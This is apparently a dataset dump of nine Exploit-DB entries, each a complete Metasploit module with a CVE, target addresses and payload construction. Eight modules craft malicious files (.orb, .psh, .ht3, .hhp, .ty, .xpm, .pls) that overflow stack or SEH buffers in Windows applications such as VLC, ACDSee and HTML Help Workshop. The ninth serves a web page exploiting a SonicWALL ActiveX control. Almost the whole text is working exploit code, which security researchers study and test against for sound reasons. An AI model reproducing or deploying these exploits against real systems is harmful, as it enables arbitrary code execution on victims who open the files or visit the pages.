QLWD/code_shield huggingface dataset:
标题: Orbital Viewer - '.ORB' File Parsing Buffer Overflow (Metasploit) EDB-ID: 16654 CVE: 2010-0688 类型: LOCAL 平台: WINDOWS 发布日期: 2010-03-09 漏洞利用脚本: ##
# $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Orbital Viewer ORB File Parsing Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in David Manthey's
    Orbital Viewer. When processing .ORB files, data is read from file into
    a fixed-size stack buffer using the fscanf function. Since no bounds
    checking is done, a buffer overflow can occur. Attackers can execute
    arbitrary code by convincing their victim to open an ORB file.
   },
   'License'        => MSF_LICENSE,
   'Author'       => [ 'jduck' ],
   'Version'        => '$Revision: 8757 $',
   'References'     =>
    [
     [ 'BID', '38436' ],
     [ 'OSVDB', '62580' ],
     [ 'CVE', '2010-0688' ],
     [ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/11581' ]
    ],
   'Payload'        =>
    {
     'Space'       => 2048,
     'BadChars'    => "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Orbital Viewer 1.04 on Windows XP SP3',
      {
       'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 27 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.orb']),
   ], self.class)
 end

 def exploit

  # One for double-click
  seh1 = 3968
  # One for DnD and File->Open
  seh2 = seh1 + 2092

  sploit = "OrbitalFileV1.0\r\n"

  line2 = ''
  nop_count = seh1 - payload.encoded.length
  line2 << make_nops(nop_count)
  line2 << payload.encoded

  line2 << generate_seh_record(target.ret)
  distance = seh1 + 8
  line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  line2 << rand_text_alphanumeric(seh2 - line2.length)
  line2 << generate_seh_record(target.ret)
  distance = seh2 + 8
  line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  # Crash writing past end of stack...
  line2 << rand_text_alphanumeric(1024) * 20

  sploit << line2

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end URL: https://www.exploit-db.com/exploits/16654
标题: ProShow Gold 4.0.2549 - '.psh' Local Stack Buffer Overflow (Metasploit) EDB-ID: 16655 CVE: 2009-3214 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: proshow_cellimage_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
    An attacker must send the file to victim and the victim must open the file.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2009-3214' ],
     [ 'OSVDB', '57226' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/9483' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/9519' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # 0x01a614ea # p/p/r @ all.dnt
     [ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 20 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.psh']),
   ], self.class)
 end

 def exploit

  sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
  sploit << payload.encoded
  sploit << generate_seh_record(target.ret)

  # note, just in case the arguments get modified, we'll jump back into our buffer...
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string

  # cause exception hitting the end of the stack
  sploit << rand_text(1000) * 13

  content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
  content << "cells=1\r\n"
  content << "cell[0].nrOfImages=1\r\n"
  content << "cell[0].images[0].image=" << sploit << "\r\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(content)

 end

end URL: https://www.exploit-db.com/exploits/16655
标题: HT-MP3Player 1.0 - '.HT3' File Parsing Buffer Overflow (Metasploit) EDB-ID: 16646 CVE: 2009-2485 类型: LOCAL 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ht_mp3player_ht3_bof.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HT-MP3Player 1.0.
     Arbitrary code execution could occur when parsing a specially crafted
     .HT3 file.

     NOTE: The player installation does not register the file type to be
     handled. Therefore, a user must take extra steps to load this file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hack4love <hack4love[at]hotmail.com>',
     'His0k4',
     'jduck',
    ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2009-2485' ],
     [ 'OSVDB', '55449' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/9034' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/9038' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 4108,
     'DisableNops'    =>  'True',
     # input restriction: UTF-8!
     'BadChars'    => [0,0x0a,0x0d,*(0x80..0xcf)].pack("C*"),
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'StackAdjustment' => -8500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'HT-MP3Player 1.0',
      {
       'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 29 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.ht3']),
   ], self.class)
 end

 def exploit

  # payload first
  bof = payload.encoded

  # filler
  bof << rand_text_alphanumeric(payload_space - bof.length)

  # NOTE: the nul smashes a nul, oh no!
  sehrec = generate_seh_record(target.ret)
  # jmp -4108 (depends on target addr ending with 0xff)
  sehrec[0,4] = "\xe9\xef\xef\xff"
  bof << sehrec

  # crash reading from offset 4096 (put bad addr here)
  bof[4096,4] = [0xf0f0f0f0].pack('V')

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(bof)

 end

end URL: https://www.exploit-db.com/exploits/16646
标题: Microsoft HTML Help Workshop 4.74 - '.hhp' Cotent Buffer Overflow (Metasploit) (2) EDB-ID: 16648 CVE: 2006-0564 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: hhw_hhp_contentfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HTML Help Workshop 4.74
     By creating a specially crafted hhp file, an an attacker may be able
     to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'bratax', 'jduck' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2006-0564' ],
     [ 'OSVDB', '22941' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/1470' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/1495' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
     'StackAdjustment' => -4800,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 06 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
   ], self.class)
 end

 def exploit

  # use the egghunter!
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

  off = target['Offset']
  idxf = ""
  idxf << make_nops(off - eh_stub.length)
  idxf << eh_stub
  idxf << [target.ret].pack('V')

  sploit = "[OPTIONS]\r\n"
  sploit << "Contents file="
  sploit << idxf
  sploit << "\r\n"
  sploit << "\r\n"
  sploit << "[FILES]\r\n"
  sploit << "\r\n"
  sploit << eh_egg

  hhp = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(hhp)
 end

end URL: https://www.exploit-db.com/exploits/16648
标题: Microsoft HTML Help Workshop 4.74 - '.hhp' Index Buffer Overflow (Metasploit) (3) EDB-ID: 16631 CVE: 2009-0133 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: hhw_hhp_indexfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HTML Help Workshop 4.74
     By creating a specially crafted hhp file, an an attacker may be able
     to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Encrypt3d.M!nd', 'loneferret', 'jduck' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2009-0133' ],
     [ 'BID', '33189' ],
     [ 'OSVDB', '22941' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10323' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10335' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
     'StackAdjustment' => -4800,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 17 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
   ], self.class)
 end

 def exploit

  # use the egghunter!
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

  off = target['Offset']
  idxf = ""
  idxf << make_nops(off - eh_stub.length)
  idxf << eh_stub
  idxf << [target.ret].pack('V')

  sploit = "[OPTIONS]\r\n"
  sploit << "Index file="
  sploit << idxf
  sploit << "\r\n"
  sploit << "\r\n"
  sploit << "[FILES]\r\n"
  sploit << "\r\n"
  sploit << eh_egg

  hhp = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(hhp)
 end

end URL: https://www.exploit-db.com/exploits/16631
标题: VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit) EDB-ID: 16629 CVE: 2008-4654 类型: LOCAL 平台: WINDOWS 发布日期: 2011-02-02 漏洞利用脚本: ##
# $Id: videolan_tivo.rb 11701 2011-02-02 21:47:02Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
    By creating a malicious TY file, a remote attacker could overflow a
    buffer and execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 11701 $',
   'References'     =>
    [
     [ 'CVE', '2008-4654' ],
     [ 'OSVDB', '49181' ],
     [ 'BID', '31813' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # From /misc/ version
     #[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
     #[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
     [ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
     [ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 22 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.ty']),
   ], self.class)
 end

 def exploit

  ty =  "\xF5\x46\x7A\xBD"
  ty << "\x00\x00\x00\x02"
  ty << "\x00\x02\x00\x00"
  ty << "\x00" * 8
  ty << "\x00\x00\x05\x41"
  ty << "\x00" * 4
  ty << "\x00\x00\x05\x49"
  ty << "\x00" * 60
  # From /misc/ version
  #ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
  #ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
  #ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
  ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
  ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
  ty << "\x05"
  ty << "\x00" * 3
  ty << "\x05"
  ty << "\x00" * 1
  ty << "\x09"
  ty << "\xc0"
  ty << "\x00" * 14
  ty << "\x06"
  ty << "\xe0"
  ty << "\x00" * 302004

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(ty)

 end

end URL: https://www.exploit-db.com/exploits/16629
标题: ACDSee - '.XPM' File Section Buffer Overflow (Metasploit) EDB-ID: 16632 CVE: 2007-2193 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: acdsee_xpm.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ACDSee XPM File Section Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in ACDSee 9.0.
    When viewing a malicious XPM file with the ACDSee product,
    a remote attacker could overflow a buffer and execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2007-2193' ],
     [ 'OSVDB', '35236' ],
     [ 'BID', '23620' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'   =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 23 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.xpm']),
   ], self.class)
 end

 def exploit

  filler = rand_text_alpha_upper(rand(25) + 1)

  # http://www.fileformat.info/format/xpm/
  head =  "/* XPM */\r\n"
  head << "static char * #{filler}[] = {\r\n"
  head << "\""

  buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)

  foot =  "\",\r\n" + "};\r\n"

  xpm = head + buff + foot

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(xpm)

 end

end URL: https://www.exploit-db.com/exploits/16632
标题: Audiotran 1.4.1 - '.pls' Local Stack Buffer Overflow (Metasploit) EDB-ID: 16626 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2010-01-28 漏洞利用脚本: ##
# $Id: audiotran_pls.rb 8306 2010-01-28 21:04:01Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
    An attacker must send the file to victim and the victim must open the file.
    Alternatively it may be possible to execute code remotely via an embedded
    PLS file within a browser, when the PLS extention is registered to Audiotran.
    This functionality has not been tested in this module.
   },
   'License'        => MSF_LICENSE,
   'Author'   =>
    [
     'Sebastien Duquette',
     'dookie',
    ],
   'Version'        => '$Revision: 8306 $',
   'References'     =>
    [
     [ 'CVE', '2009-0476'],
     [ 'OSVDB', '55424'],
     [ 'URL', 'http://www.exploit-db.com/exploits/11079' ],
    ],
   'Payload'        =>
    {
     'Space'    => 6000,
     'BadChars' => "\x00\x0a\x3d",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 09 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
    ], self.class)

 end

 def exploit

  sploit = rand_text_alpha_upper(1308)
  sploit << generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(8000)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end URL: https://www.exploit-db.com/exploits/16626
标题: SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16616 CVE: 2007-5603 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: sonicwall_addrouteentry.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
    By sending an overly long string to the "AddRouteEntry()" method located
    in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5603'],
     [ 'OSVDB', '39069'],
     [ 'URL', 'http://www.sec-consult.com/303.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'IE 6 / Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 11/01/07
    ],
   'DisclosureDate' => 'Nov 1 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_english(36) + [target.ret].pack('V')
  sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

  # Build out the message
  content = %Q|<html>
   <object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.AddRouteEntry(#{strname}, #{vname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16616